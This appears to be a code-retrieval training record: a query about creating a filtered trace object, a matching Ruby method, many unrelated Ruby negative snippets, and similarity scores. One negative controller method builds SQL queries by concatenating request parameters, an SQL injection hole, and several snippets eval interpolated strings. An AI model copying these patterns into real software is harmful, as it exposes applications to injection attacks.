'models'\n eval_klass = \"@classes['#{kind}']\"\n eval_story_klass = \"@story_classes['#{kind}']\"\n klasses.each.with_index(1) do |klass, idx|\n if idx == klasses.length\n eval(\"#{eval_klass}['mtds']['#{klass}'] = #{eval_klass}['mtds'][#{'klass'}].try(:next) || 1\")\n eval(\"#{eval_story_klass}['mtds']['#{klass}'] = #{eval_story_klass}['mtds']['#{klass}'].try(:next) || 1\")\n @methods[\"#{kind}\"][\"#{klasses[idx-2]}:#{klass}\"] ||= Set.new\n @story_methods[\"#{kind}\"][\"#{klasses[idx-2]}:#{klass}\"] ||= Set.new\n @methods[\"#{kind}\"][\"#{klasses[idx-2]}:#{klass}\"].add(log_entry[3])\n @story_methods[\"#{kind}\"][\"#{klasses[idx-2]}:#{klass}\"].add(log_entry[3])\n elsif idx == 1\n eval(eval_klass+\"['#{klass}'] ||= {'mtds' => {}, 'bdt_scenarios' => Set.new}\")\n eval(eval_klass+\"['#{klass}']['bdt_scenarios'].add(log_entry[3])\")\n eval(eval_story_klass+\"['#{klass}'] ||= {'mtds' => {}, 'bdt_scenarios' => Set.new}\")\n eval(eval_story_klass+\"['#{klass}']['bdt_scenarios'].add(log_entry[3])\")\n else\n eval(eval_klass+\"['#{klass}'] ||= {'mtds' => {} }\")\n eval(eval_story_klass+\"['#{klass}'] ||= {'mtds' => {} }\")\n end\n eval_klass += \"['#{klass}']\"\n eval_story_klass += \"['#{klass}']\"\n end\n end\n end\n end\n @features[logfile_name] = {\"classes\" => @story_classes, \"methods\" => @story_methods}\n end\n return @classes, @methods, @features\n # return [@classes, @user_stories, @scenarios, @steps]\n end",
"def format\n @lines = []\n @stack = { jobs: [] }\n @context = []\n @set_flags = {}\n ast = atp.ast(unique_id: sig, optimization: :igxl)\n process(ast)\n lines\n end",
"def trace!(*methods)\n@_traced = @_traced || []\n# Remember the set of traced methods\n# If no methods were specified, use all public methods defined\n# directly (not inherited) by the class of this object\nmethods = public_methods(false) if methods.size == 0\nmethods.map! {|m| m.to_sym } # Convert any strings to symbols\nmethods -= @_traced\n# Remove methods that are already traced\nreturn if methods.empty?\n# Return early if there is nothing to do\n@_traced |= methods\n# Add methods to set of traced methods\n# Trace the fact that we're starting to trace these methods\nSTDERR << \"Tracing #{methods.join(', ')} on #{object_id}\\n\"\n# Singleton methods are defined in the eigenclass\neigenclass = class << self; self; end\nmethods.each do |m|\n# For each method m\n# Define a traced singleton version of the method m.\n# Output tracing information and use super to invoke the\n# instance method that it is tracing.\n# We want the defined methods to be able to accept blocks, so we\n# can't use define_method, and must instead evaluate a string.\n# Note that everything between %Q{ and the matching } is a\n# double-quoted string, not a block. Also note that there are\n# two levels of string interpolations here. #{} is interpolated\n# when the singleton method is defined. And \\#{} is interpolated\n# when the singleton method is invoked.\neigenclass.class_eval %Q{\ndef #{m}(*args, &block)\nbegin\nSTDERR << \"Entering: #{m}(\\#{args.join(', ')})\\n\"\nresult = super\nSTDERR << \"Exiting: #{m} with \\#{result}\\n\"\nresult\nrescue\nSTDERR << \"Aborting: #{m}: \\#{$!.class}: \\#{$!.message}\"\nraise\nend\nend\n}\nend\nend",
"def generate_reek_feature\n warnings = []\n # Get reek warnings by reek api\n Dir.glob(get_source_dir + \"/*.rb\").each_with_index do |filename, i|\n # Examiner initialization takes an array\n warnings += Reek::Examiner.new([filename]).all_active_smells \n puts \"reek processing: \" + i.to_s + \" sources inspected\" if i % 50 == 0\n end\n\n f = open(@feature_dir + \"/reek.json\", \"w+\")\n f.puts parse_warnings(warnings, @all_smells - @filter_smells).to_json\n f.close\n end",
"def dump_compiled code\n\t\t\tbuf = do_compile code,false\n\t\t\tprint buf,\"\\n\"\n\t\tend",
"def trace\n `#{@native}.trace()`\n end",
"def remove_useless_traces_data(params)\n convert_list_of_json_traces_to_objects(params[0])\n create_new_traces\n @traces_json_string = '[' + @traces_json_string[0...-1] + ']'\n puts @traces_json_string\n end",
"def convert_stack_frame frame\n TraceProtos::StackTrace::StackFrame.new \\\n function_name: make_truncatable_string(frame.label),\n file_name: make_truncatable_string(frame.path),\n line_number: frame.lineno\n end",
"def to_string\n str = trace_id\n str += \"/#{span_id}\" if span_id\n unless sampled?.nil?\n options = 0\n options |= 1 if sampled?\n options |= 2 if capture_stack?\n str += \";o=#{options}\"\n end\n str\n end",
"def build(insns, profile=nil)\n # Find the basic blocks in the instructions.\n\n blocks = basic_blocks(insns)\n\n # Build each basic block into a graph fragment first.\n\n fragments = {}\n\n blocks.each do |ip, block|\n fragments[block.start] = basic_block_to_fragment(block.insns, ip, profile)\n end\n\n # Create more detailed, transitive, input and output names and stacks for each fragment.\n\n trans_names_in = {}\n trans_stack_in = {}\n\n trans_names_out = {}\n trans_stack_out = {}\n\n blocks.each_value do |block|\n fragment = fragments[block.start]\n\n block_trans_names_in = {}\n block_trans_stack_in = []\n\n # Combine the names and stack values that come in from previous blocks.\n\n if block.prev.size == 1\n # If the block has a single previous block, simply use all the names\n # and stack values out from that block.\n\n prev = block.prev.first\n\n block_trans_names_in.merge! trans_names_out[prev]\n block_trans_stack_in.push *trans_stack_out[prev]\n elsif block.prev.size > 1\n # If the block has multiple previous blocks then we could have\n # arrived at this basic block from either of them. That means that\n # values coming in for names or the stack. For each value that\n # comes in we join all the possible values in a phi node. The phi\n # node works as a switch to choose the correct value. It takes\n # input from the merge which starts this block, to tell it\n # which way to switch.\n\n # Find all the names out from all the previous blocks.\n\n all_names_out = block.prev.map { |p| trans_names_out[p].keys }.flatten.uniq.sort\n\n # See the number of stack values out from all the previous blocks.\n\n max_stack_out = block.prev.map { |p| trans_stack_out[p].size }.max\n\n # If all blocks don't have the same names and number of stack values we don't know what to do.\n\n block.prev.each do |prev|\n raise 'unsupported' unless trans_names_out[prev].keys.sort == all_names_out\n raise 'unsupported' unless trans_stack_out[prev].size == max_stack_out\n end\n\n # Create phis for each value\n\n all_names_out.each do |name|\n phi = Node.new(:phi)\n fragment.merge.output_to :switch, phi\n\n block.prev.each do |prev|\n trans_names_out[prev][name].output_to :value, phi, :\"value(#{prev})\"\n end\n\n block_trans_names_in[name] = phi\n end\n\n max_stack_out.times do |index|\n phi = Node.new(:phi)\n fragment.merge.output_to :switch, phi\n\n block.prev.each do |prev|\n trans_stack_out[prev][index].output_to :value, phi, :\"value(#{prev})\"\n end\n\n block_trans_stack_in.push phi\n end\n end\n\n # The output set is the same as the input set...\n\n block_trans_names_out = block_trans_names_in.dup\n block_trans_stack_out = block_trans_stack_in.dup\n\n # ...then add the new names and stack values from this fragment.\n\n fragment.names_out.each do |name, value|\n block_trans_names_out[name] = value\n end\n\n fragment.stack_out.each do |value|\n block_trans_stack_out.push value\n end\n\n # Remember this transitive set for this block.\n\n trans_names_in[block.start] = block_trans_names_in\n trans_stack_in[block.start] = block_trans_stack_in\n\n trans_names_out[block.start] = block_trans_names_out\n trans_stack_out[block.start] = block_trans_stack_out\n end\n\n # Connect the data flow between fragments, using the transitive sets.\n\n blocks.each_value do |block|\n fragment = fragments[block.start]\n\n fragment.names_in.each do |name, input|\n trans_names_in[block.start][name].output_to :value, input\n end\n\n fragment.stack_in.each_with_index do |input, index|\n trans_stack_in[block.start][index].output_to :value, input\n end\n end\n\n # Connect the control flow between fragments.\n\n blocks.each_value do |block|\n fragment = fragments[block.start]\n\n if block.prev.empty?\n # If the block has no previous blocks, connect the start of the\n # graph to it.\n\n @graph.start.output_to :control, fragment.merge\n end\n\n if block.next.empty?\n # If the block has no next blocks, connect it to the finish of\n # the graph.\n\n fragment.last_control.output_to :control, @graph.finish\n fragment.last_node.output_to :value, @graph.finish\n elsif block.next.size == 1\n # If the block has a single next block, connect the last control\n # node of this block to the merge node of the next block.\n\n next_i = block.next.first\n next_fragment = fragments[next_i]\n\n fragment.last_control.output_to :control, next_fragment.merge, :\"control(#{block.start})\"\n elsif fragment.last_control.op == :branch\n # If the block ends with a branch then it goes to two possible next\n # blocks. The branch node outputs two control edges, one labelled\n # true and one labelled false. This is the only place where control\n # forks like this.\n\n raise unless block.next.size == 2\n branch = fragment.last_control\n branch.output_to :true, fragments[block.next[0]].merge, :control\n branch.output_to :false, fragments[block.next[1]].merge, :control\n else\n raise 'unsupported'\n end\n end\n end",
"def _locations_ordered_for_text_dump\n locations = Hash[(1..23).to_a.map {|row| [row, {}]}]\n @tiles.each {|t| locations [t.row * 4 ] [t.col * 4 - t.row * 2 + 5] = t}\n @up_vtexs.each {|v| locations [v.row * 4 - 3] [v.col * 4 - v.row * 2 + 5] = v}\n @down_vtexs.each {|v| locations [v.row * 4 + 3] [v.col * 4 - v.row * 2 + 5] = v}\n @asc_edges.each {|e| locations [e.row * 4 - 2] [e.col * 4 - e.row * 2 + 4] = e}\n @desc_edges.each {|e| locations [e.row * 4 - 2] [e.col * 4 - e.row * 2 + 6] = e}\n @vert_edges.each {|e| locations [e.row * 4 ] [e.col * 4 - e.row * 2 + 3] = e}\n return locations\n end",
"def start_trace( request )\n t0 = Time.now\n\n inject_request_headers( request ) if cross_app_enabled?\n segment = stats_engine.push_scope( :http_request, t0 )\n\n return t0, segment\n rescue => err\n NewRelic::Agent.logger.error \"Uncaught exception while tracing HTTP request\", err\n return t0, nil\n end",
"def probe_ship_gen(probe_count, probe_array)\n text = \"\"\n probe_count.times.with_index do |v|\n temp = (\"a\"..\"zz\").to_a[v]\n text += \"var author_probe_#{temp} = new Ship({\n material: new THREE.SpriteMaterial({map: probe_texture, color: 0xffffff, fog: true}),\n dis_at_end: true,\n name: \\\"author_probe_#{temp}\\\"\n});\nscene.add(author_probe_#{temp}.spr);\nauthor_probe_#{temp}.spr.visible = false;\nprobes[probes.length] = author_probe_#{temp};\nauthor_probe_#{temp}.spr.scale.set(2,2,2);\\n\\n\"\n probe_array.push(\"author_probe_#{temp}\")\n end\n return text\nend",
"def inspect_variables(opts = {})\n\t\tvariable_inspect_string(binding_during_exception, opts)\n\tend",
"def cbl_traceprocess\n \n #binding.pry\n \n puts \"---> search_controller: cbl_traceprocess, params[:qa]= \" + params[:qa] + \"--, params[:qb]= \" + params[:qb]\n \n #-----testing new idea of 3 screens------31 Oct-------------------------\n \n @devListA={}\n @locListA={}\n \n @devListB={}\n @locListB={}\n\n\n\n @message1 =\"This is the restuls for screen 1\"\n @qA = params[:qa].upcase\n @qB = params[:qb].upcase\n \n exact_match_a = params[:exact_match_a]\n exact_match_b = params[:exact_match_b]\n \n @qA.strip! if [email protected]? #trip leading and trailing spaces\n @qB.strip! if [email protected]? #trip leading and trailing spaces\n \n \n incLocA = 0\n incLocA = 1 if !params[:loc_search_a].nil?\n incDevA = 0\n incDevA = 1 if !params[:dev_search_a].nil?\n\n incLocB = 0\n incLocB = 1 if !params[:loc_search_b].nil?\n incDevB = 0\n incDevB = 1 if !params[:dev_search_b].nil?\n\n \n #@searchtypeA = \"Dev: \" + incDevA.to_s + \" - Location: \" + incLocA.to_s\n #@searchtypeB = \"Dev: \" + incDevB.to_s + \" - Location: \" + incLocB.to_s\n \n #binding.pry\n #build lists for point A\n devicesA=nil\n locsA=nil\n\n if exact_match_a==\"1\"\n devicesA = Device.where(\"name = '\" + @qA + \"'\") if incDevA\n locsA = Location.where(\"name = '\" + @qA+ \"'\") if incLocA\n\n else\n devicesA = Device.where(\"name LIKE ?\", \"%\" + @qA + \"%\") if incDevA\n locsA = Location.where(\"name LIKE ?\", \"%\" + @qA + \"%\") if incLocA\n end\n\n \n if exact_match_b==\"1\"\n devicesB = Device.where(\"name = '\" + @qB + \"'\") if incDevB\n locsB = Location.where(\"name = '\" + @qB + \"'\") if incLocB\n else\n devicesB = Device.where(\"name LIKE ?\", \"%\" + @qB + \"%\") if incDevB\n locsB = Location.where(\"name LIKE ?\", \"%\" + @qB + \"%\") if incLocB\n end\n\n # binding.pry\n \n i=0\n if (!devicesA.nil?)\n devicesA.each do |dev|\n @devListA[i] = dev.id\n i +=1 \n end\n end\n\n # binding.pry\n iloc=0\n if (!locsA.nil?)\n locsA.each do |loc|\n if !(@locListA.include? loc.id)\n @locListA[iloc] = loc.id #store the whole location into a separate array\n iloc +=1\n end\n if (incDevA==1)\n loc.net_racks.each do |nrack| #get all racks inside that location\n nrack.devices.each do |dev| #get devs inside each rack\n if !(@devListA.include? dev.id)\n @devListA[i] = dev.id\n i += 1\n end\n end\n end\n end\n end\n end\n\n \n #binding.pry\n\n #build lists for point B\n# devicesB=nil\n# devicesB = Device.where(\"name LIKE ?\", \"%\" + @qB + \"%\") if incDevB\n# locsB=nil\n# locsB = Location.where(\"name LIKE ?\", \"%\" + @qB + \"%\") if incLocB\n\n\n i=0\n if (!devicesB.nil?)\n devicesB.each do |dev|\n @devListB[i] = dev.id\n i +=1 \n end\n end\n\n # binding.pry\n iloc=0\n if (!locsB.nil?)\n locsB.each do |loc|\n if !(@locListB.include? loc.id)\n @locListB[iloc] = loc.id #store the whole location into a separate array\n iloc +=1\n end\n if incDevB==1\n loc.net_racks.each do |nrack| #get all racks inside that location\n nrack.devices.each do |dev| #get devs inside each rack\n if !(@devListB.include? dev.id)\n @devListB[i] = dev.id\n i += 1\n end\n end\n end\n end\n end\n end\n\n\n end",
"def variables(binding)\n entries = []\n binding.eval('local_variables').each do |var|\n variable = var.to_s\n value = binding.local_variable_get(var)\n valclass = value.class.to_s\n output = (value.is_a?(Proc)) ? '#<Proc:...' : value.inspect\n\n content = Esc.send(class_colour.fetch(valclass, :white)) { output }\n\n entries << sprintf(\"%33s %-10s = %s %s\", \" \",\n Esc.green { variable },\n Esc.magenta { valclass },\n content)\n end\n entries.join(\"\\n\")\n end",
"def build_transaction_trace_payload(depth = 6)\n root = []\n fanout = depth\n fanout.times do |i|\n node = [\n i * rand(10),\n i * rand(10),\n \"This/Is/The/Name/Of/A/Transaction/Trace/Node/Depth/#{depth}/#{i}\",\n {\n 'sql' => \"SELECT #{(0..100).to_a.join(',')}\"\n },\n []\n ]\n node[-1] = build_transaction_trace_payload(depth - 1) if depth > 0\n root << node\n end\n root\n end",
"def to_stack; end",
"def dfs(n)\n case n\n when Hash\n n.each do |k,v|\n @stack.push k\n dfs(v)\n @stack.pop\n end\n else\n stripped = Array.new(@stack)\n stripped.shift #strip off the :development or :production tag\n if @stack.first == @environment\n @env_vars[stripped.join('__').upcase] = n\n end\n tmp = Array.new(@stack).push \"<%= ENV['#{stripped.join('__').upcase}'] %>\"\n @new_config.deep_merge!(tmp.reverse.inject { |mem, var| {var => mem}})\n end\nend",
"def trace_context\n TraceContextData.new trace_id, @span_id, trace_options\n end",
"def send_trace(event)\n assert_permissions(event, ['ntracer'])\n raise OutteError.new \"Sorry, tracing is disabled.\" if !FEATURE_NTRACE\n wait_msg = event.send_message(\"Queued...\") if $mutex[:ntrace].locked?\n $mutex[:ntrace].synchronize do\n wait_msg.delete if !wait_msg.nil?\n level = parse_highscoreable(event.content, mappack: true)\n raise OutteError.new \"Episodes and columns can't be traced\" if !level.is_a?(Levelish)\n map = !level.is_a?(Map) ? MappackLevel.find_by(id: level.id) : level\n raise OutteError.new \"Level data not found\" if map.nil?\n map.trace(event)\n end\nrescue => e\n lex(e, \"Error performing trace.\", event: event)\nend",
"def __print_gen_code__(target_file) \n target_file.puts \"### evaluated strings\"\n $__gen_code__.each_pair { |k,v|\n target_file.printf \"##? %s:%s:%s:%s\\n\", \n k[0], \n k[1],\n v[:kind], \n v[:binding]\n if v[:code]\n target_file.puts v[:code]\n end\n target_file.printf \"##? EOE\\n\"\n }\n target_file.printf \"### total %s evals (including ones with a block).\\n\",\n $__gen_code__.length\n target_file.printf \"##? EOF\\n\"\nend",
"def call\n return nil unless scope_layer\n return nil unless context.config.value('timeline_traces')\n\n # Since this request is being stored, update the needed counters\n context.slow_request_policy.stored!(request)\n\n # record the change in memory usage\n mem_delta = ScoutApm::Instruments::Process::ProcessMemory.new(context).rss_to_mb(@request.capture_mem_delta!)\n\n transaction_id = request.transaction_id\n revision = context.environment.git_revision.sha\n start_instant = request.root_layer.start_time\n stop_instant = request.root_layer.stop_time\n type = if request.web?\n \"Web\"\n elsif request.job?\n \"Job\"\n else\n \"Unknown\"\n end\n\n # Create request tags\n #\n tags = {\n :allocations => request.root_layer.total_allocations,\n :mem_delta => mem_delta,\n }.merge(request.context.to_flat_hash)\n\n host = context.environment.hostname\n path = request.annotations[:uri] || \"\"\n code = \"\" # User#index for instance\n\n spans = create_spans(request.root_layer)\n if limited?\n tags[:\"scout.reached_span_cap\"] = true\n end\n\n DetailedTrace.new(\n transaction_id,\n revision,\n host,\n start_instant,\n stop_instant,\n type,\n\n path,\n code,\n\n spans,\n tags\n\n # total_score = 0,\n # percentile_score = 0,\n # age_score = 0,\n # memory_delta_score = 0,\n # memory_allocations_score = 0\n )\n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def trace_cost_and_equipment\n gen_tree if @json_tree_type == 'flat_tree'\n\n @json_tree.each do |k, v|\n v['cost'], v['equipment'] = trace_cost_and_equipment2(v)\n end\n end"
] | [
"0.644559",
"0.6297783",
"0.58538085",
"0.56983066",
"0.5570515",
"0.5535104",
"0.5380226",
"0.5338043",
"0.5216844",
"0.52124184",
"0.5202664",
"0.5117278",
"0.5096113",
"0.5090454",
"0.50670594",
"0.5060551",
"0.50140655",
"0.50054634",
"0.49925035",
"0.4990763",
"0.4983535",
"0.4968569",
"0.49527052",
"0.49405572",
"0.49281982",
"0.49266708",
"0.49066997",
"0.49015585",
"0.48782665",
"0.4867607",
"0.48575005",
"0.4855819",
"0.4827808",
"0.48058826",
"0.48018447",
"0.47999075",
"0.47566283",
"0.47559252",
"0.47395015",
"0.47296605",
"0.4727858",
"0.47157174",
"0.47136304",
"0.4693647",
"0.46903458",
"0.46891743",
"0.46781814",
"0.46760827",
"0.46735168",
"0.4668508",
"0.466593",
"0.46575135",
"0.46538696",
"0.46516836",
"0.46516743",
"0.46507412",
"0.46507147",
"0.4648533",
"0.4632734",
"0.463167",
"0.46254352",
"0.46149355",
"0.4611061",
"0.46007168",
"0.46004504",
"0.45986462",
"0.45913073",
"0.4590865",
"0.4585275",
"0.4583985",
"0.45824945",
"0.45706213",
"0.45641682",
"0.4562139",
"0.45600703",
"0.45507103",
"0.4549994",
"0.4548184",
"0.45471266",
"0.45454746",
"0.45433068",
"0.4541482",
"0.45392427",
"0.45365304",
"0.4529824",
"0.45293537",
"0.45227516",
"0.4510814",
"0.45070845",
"0.45058692",
"0.44920295",
"0.4490306",
"0.44800434",
"0.44768804",
"0.44761986",
"0.44740584",
"0.4468569",
"0.44680762",
"0.44614226",
"0.44548059"
] | 0.694777 | 0 |
Creates the new filtered trace object. | def filter_trace(params)
trace = {}
trace['stack'] = {}
trace['stack']['ordered_variable_names'] = params[0]
trace['stack']['encoded_locals'] = {}
params[1].each_pair do |key, value|
trace['stack']['encoded_locals'][key] = value
end
trace['heap'] = {}
params[2].each_pair do |key, value|
trace['heap'][key] = value if value.is_a?(Array) && value.length > 2
end
trace['code'] = params[3]
trace['lineNumber'] = params[4]
trace
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_new_traces\n @traces.each do |trace|\n trace_stack = trace.stack_to_render[0]\n unless(trace_stack.func_name.include? '<init>')\n trace_stack_ordered_variable_names = trace_stack.ordered_varnames\n trace_stack_encoded_locals = trace_stack.encoded_locals\n trace_heap = trace.heap\n trace_code = @code[trace.line]\n filtered_trace = filter_trace([\n trace_stack_ordered_variable_names,\n trace_stack_encoded_locals,\n trace_heap,\n trace_code,\n trace.line\n ])\n @new_traces << filtered_trace\n trace_string = Yajl::Encoder.encode(filtered_trace)\n @traces_json_array << trace_string\n @traces_json_string += trace_string + ','\n end\n end\n end",
"def backtrace_filter(filters = nil)\n @backtrace_filters.merge!(filters) if filters\n @backtrace_filters\n end",
"def filter\n @filter ||= filter_class.new default_filter\n end",
"def initialize\n @filters = []\n end",
"def filter_create(payload, opts = {})\n data, _status_code, _headers = filter_create_with_http_info(payload, opts)\n data\n end",
"def filter\n RuleAspect.from_hash(description['Filter'])\n end",
"def create_filter(options = {})\n context = options.delete(:context)\n context = [ context ] unless context.kind_of? Array\n options['context[]'] = context\n \n perform_request_with_object(:post, '/api/v1/filters',\n options, Mastodon::Filter)\n end",
"def filters\n filters_class&.new(self.scoped)\n end",
"def create_filter(**args)\n params = parameters(args) do\n required_params :name, :conditions, :type\n optional_params :name, :conditions, :type\n end\n request(:post, 'filters', params)\n end",
"def new_trace trace_context: :DEFAULT\n if trace_context == :DEFAULT\n trace_context = Stackdriver::Core::TraceContext.get\n end\n Google::Cloud::Trace::TraceRecord.new project, trace_context\n end",
"def to_filter\n to_hash.to_filter\n end",
"def initialize(attributes)\n self.filters ||= {}\n super\n end",
"def initialize(attributes)\n self.filters ||= {}\n super\n end",
"def initialize(attributes)\n self.filters ||= {}\n super\n end",
"def initialize(attributes)\n self.filters ||= {}\n super\n end",
"def initialize(attributes)\n self.filters ||= {}\n super\n end",
"def start_filtered(name)\n raise Error.new(\"Invalid filter name \\\":#{name}\\\".\") unless name =~ /^\\w+$/\n raise Error.new(\"Filter \\\"#{name}\\\" is not defined.\") unless filter = Filters.defined[name]\n\n push_and_tabulate([:filtered, filter])\n @flat = true\n @filter_buffer = String.new\n\n # If we don't know the indentation by now, it'll be set in Line#tabs\n @flat_spaces = @indentation * @template_tabs if @indentation\n end",
"def initialize(base, &filter)\n @base = base\n @filter = filter\n end",
"def initialize(attributes={})\n self.filters ||= {}\n super\n end",
"def add_filter\n @filter = true \n end",
"def initialize()\n @filters ||= []\n end",
"def initialize(&block)\n @filter = (block || method(:filter))\n super()\n end",
"def initialize trace_id: nil, is_new: nil, span_id: nil, sampled: nil,\n capture_stack: false\n @trace_id = trace_id || new_random_trace_id\n @is_new = if is_new.nil?\n !trace_id\n else\n is_new ? true : false\n end\n @span_id = span_id ? span_id.to_i : nil\n @sampled = sampled\n if @sampled.nil?\n @capture_stack = nil\n else\n @sampled = @sampled ? true : false\n @capture_stack = capture_stack && @sampled\n end\n end",
"def initialize_copy(from)\n super\n @filters = from.instance_variable_get(:@filters).dup\n @sorter = from.instance_variable_get(:@sorter).dup\n end",
"def trace\n DSL.new(@source.append(Trace.new))\n end",
"def unfiltered\n clone(:where => nil, :having => nil)\n end",
"def create_with_scope(name)\n attribute = self.attribute\n lambda {|model, values| model.filter(attribute.to_sym => values)}\n end",
"def initialize(klass)\n @loaded = false\n @parent_klass = klass\n self.filters = FilterSet.new\n self.segment_filters = FilterSet.new\n self.start_date = Time.now - MONTH\n self.end_date = Time.now\n\n klass.filters.each do |name, block|\n define_filter(name, &block)\n end\n\n klass.segments.each do |name, block|\n define_segment_filter(name, &block)\n end\n end",
"def start_filtered(filter)\n unless @block_opened\n raise SyntaxError.new('Filters must have nested text.')\n end\n push_and_tabulate([:filtered, filter])\n @flat_spaces = @template_tabs * 2\n @filter_buffer = String.new\n end",
"def filter(name, function)\n design_doc.create_filter(name, function)\n end",
"def create\n @filter = Filter.find_or_create_by_name( params[:filter][:name], :group => params[:filter][:group], :pattern => params[:filter][:pattern] )\n\n Auditlog( self.class.name, @filter )\n\n respond_to do |format|\n if @filter\n format.html { redirect_to @filter, notice: 'Filter was successfully created.' }\n format.json { render json: @filter, status: :created, location: @filter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @filter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def filter(filter)\n tl = AlienTagList.new\n\n self.each do |ele|\n if ele.tag =~ filter\n tl.add_tag(ele)\n end\n end\n\n return tl\n end",
"def add_filter(name, assertion, equals)\n @filters << Filter.new(name, assertion, equals)\n end",
"def create_without_scope(name)\n attribute = self.attribute\n lambda {|model, values| model.filter(~{attribute.to_sym => values})}\n end",
"def addfilter( newfilter )\n if not subfilter\n @subfilter = newfilter\n else\n subfilter.addfilter( newfilter )\n end\n return self\n end",
"def filter; end",
"def filter; end",
"def filter; end",
"def create\n @filter = Object::Filter.new(params[:filter])\n @filter.source = @source\n\n respond_to do |format|\n if @filter.save\n flash[:notice] = 'Filter was successfully created.'\n format.html { redirect_to(@source) }\n format.xml { render :xml => @filter, :status => :created, :location => @filter }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @filter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def initialize( *filters )\n\t\t\t@filters = filters.flatten\n\t\tend",
"def apply_filter\n end",
"def initialize_copy(other)\n super\n @instance_filters = other.send(:instance_filters).dup\n self\n end",
"def initialize(ancestors, options = {})\n @ancestors = ancestors\n filter(options)\n end",
"def initialize trace_id, span_id, type: nil,\n attributes: {}, dropped_attributes_count: 0\n @trace_id = trace_id\n @span_id = span_id\n @type = type\n @attributes = attributes\n @dropped_attributes_count = dropped_attributes_count\n end",
"def filter\n super\n end",
"def create_chain( desc, flts = nil, listener = nil )\n\n if desc.is_a?( Symbol )\n flts = send( desc ) unless flts\n desc = desc.to_s.gsub( /_/, '-' )\n end\n\n flts = flts.flatten.compact if flts\n\n if flts.nil? || flts.empty?\n NoOpFilter.new\n else\n c = FilterChain.new( desc, flts )\n if listener.nil?\n c.listener = log_listener( desc )\n elsif listener == :main\n c.listener = @listener\n else\n c.listener = listener\n end\n yield c if block_given?\n c\n end\n end",
"def filter\n end",
"def freeze\n instance_filters.freeze\n super\n end",
"def initialize\n @all_filters = []\n @errors = []\n @conditions = nil\n filters\n reset\n end",
"def initialize(filters = [], mask: nil)\n @mask = mask || FILTERED\n @filters = filters\n @compiled_filters = compile(filters)\n end",
"def initialize(attributes: {}, filters: [], product: nil)\n @filters = filters\n @product = product || Product.new\n @attributes = cleanse_attributes(attributes)\n\n add_filter_accessors\n\n super(@attributes)\n end",
"def new\n @filter = Object::Filter.new\n @filter.source = @source\n\n if params[:positive] == 'false'\n @filter.positive = false\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @filter }\n end\n end",
"def filters; end",
"def filters; end",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def filter(samplemethod=:sample,&block)\n return Filter.new( self, samplemethod, &block )\n end",
"def filter!; end",
"def filter(&block)\n filters = self.filters << yield\n metaclass.send(:define_method, :_filters) do\n filters\n end\n end",
"def test_class_filter__class_and_method_match\n class_filter = Class_filter\n \n context = {:class_name => \"Dryml\", :method_name => \"build_a\"}.context\n \n options = {:filters => class_filter} \n exec = Tracing::Filter::Executor.new(options) \n result = exec.filters_allow?('msg', context)\n assert_equal true, result, \"Filter should allow passage\" \n end",
"def new_filter(fragment)\n if fragment.kind_of? String\n pipeline = new_pipeline\n fragment = pipeline.call(fragment)[:output].to_s\n end\n\n HTML::Pipeline::CiteFilter.new(fragment)\n end",
"def initialize(filter_type)\n @filter_type = filter_type\n begin\n filter_module = self.class.const_get(filter_type.to_s.gsub(/^([a-z])/) {|e| $1.upcase })\n self.extend(filter_module)\n rescue NameError\n raise FilterNotFoundError\n end\n end",
"def create_read_filter( *args )\n opts = args.last.is_a?( Hash ) ? args.pop.dup : {}\n opts[ :fields ] ||= args.shift #deprecated\n\n ReadFilter.new( data_source, field_mapper( opts[ :fields ] ) )\n end",
"def create\n @trace = Trace.new(params[:trace])\n\n respond_to do |format|\n if @trace.save\n format.html { redirect_to(@trace, :notice => 'Trace was successfully created.') }\n format.xml { render :xml => @trace, :status => :created, :location => @trace }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @trace.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def push_filter(filter)\r\n filter.line_end_format = @current_format\r\n @current_filter.append(filter)\r\n @current_filter = filter\r\n end",
"def filters\n @filters ||= {}\n end",
"def filters\n @filters ||= {}\n end",
"def filters\n @filters ||= {}\n end",
"def initialize(filters={}, conn=:and)\n if filters.kind_of?(Hash)\n @filters = SolveBio::Filter.\n normalize(filters.keys.sort.map{|key| [key, filters[key]]})\n elsif filters.kind_of?(Array)\n @filters = filters\n elsif filters.kind_of?(SolveBio::Filter)\n @filters = SolveBio::Filter.deep_copy(filters.filters)\n return self\n else\n raise TypeError, \"Invalid filter type #{filters.class}\"\n end\n @filters = [{conn => @filters}] if filters.size > 1\n self\n end",
"def trace_context\n TraceContextData.new trace_id, @span_id, trace_options\n end",
"def create\n @filter = Filter.new(params[:filter])\n @area = Area.where(name: @filter.area).first\n @filter.polygon = @area.points\n\n @filter.name = \"#{@area.name} Listings\"\n\n respond_to do |format|\n if @filter.save\n format.html { redirect_to @filter, notice: 'Filter was successfully created.' }\n format.json { render json: @filter, status: :created, location: @filter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @filter.errors, status: :unprocessable_entity }\n end\n end\n end",
